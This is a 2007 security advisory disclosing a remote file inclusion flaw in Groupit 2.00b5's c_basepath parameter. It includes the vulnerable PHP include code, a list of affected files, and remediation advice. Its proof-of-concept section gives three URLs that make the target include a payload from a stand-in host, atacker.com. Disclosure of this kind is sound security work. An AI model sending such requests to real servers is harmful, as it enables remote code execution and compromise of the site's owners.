Echo Security Advisory 2007.75

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\/ \/ \/ \/ .OR.ID  
ECHO_ADV_75$2007  
  
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[ECHO_ADV_75$2007] Groupit 2.00b5 (c_basepath) Remote File Inclusion Vulnerability  
-------------------------------------- ----------------------------------------------  
  
Author : Dedi Dwianto a.k.a the_day  
Date Found : March, 15th 2007  
Location : Indonesia, Jakarta  
web : http://advisories.echo.or.id/adv/adv75-theday-2007.txt  
Critical Lvl : Highly critical  
Impact : System access  
Where : From Remote  
---------------------------------------------------------------------------  
  
Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Application : Groupit  
version : 2.00b5  
URL : http://fresh.t-systems-sfr.com/fresh/unix/src/privat2/groupit-2.00b5.tar.gz  
  
---------------------------------------------------------------------------  
  
Vulnerability:  
~~~~~~~~~~~  
  
- Invalid include function at html/content.php  
-----------------------html/content.php------------  
  
<?  
...  
include "$c_basepath/base/groupit.start.inc";  
  
if (!empty($c_is_search))  
{  
include "$c_basepath/modules/search/main.inc";  
} else  
{  
if ($c_is_section)  
{  
include "$c_basepath/modules/content/section.inc";  
} else  
.........  
  
include "$c_basepath/base/groupit.stop.inc";  
?>  
----------------------------------------------------------  
  
Input passed to the "$c_basepath" parameter in load.inc.php is not  
properly verified before being used. This can be exploited to execute  
arbitrary PHP code by including files from local or external  
resources.  
  
also affected files :  
  
html/userprofile.php  
html/password.php  
html/dispatch.php  
html/deliver.php  
  
and More ....  
  
  
  
Proof Of Concept:  
~~~~~~~~~~~~  
  
http://localhost/groupit/html/content.php?c_basepath=http://atacker.com/inject.txt?  
http://localhost/groupit/html/userprofile.php?c_basepath=http://atacker.com/inject.txt?  
http://localhost/groupit/html/password.php?c_basepath=http://atacker.com/inject.txt?  
  
Solution:  
~~~~  
  
- Sanitize variable $c_basepath affected files.  
- Turn off register_globals  
  
---------------------------------------------------------------------------  
  
Shoutz:  
~  
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous  
~ Jessy Nice Girl  
~ az001,bomm_3x,matdhule  
~ [email protected]  
~ #aikmel - #e-c-h-o @irc.dal.net  
------------------------------------------------------------------------  
---  
Contact:  
~  
EcHo Research & Development Center  
http://advisories.echo.or.id  
erdc[at]echo[dot]or[dot]id  
the_day[at]echo[dot]or[dot]id  
  
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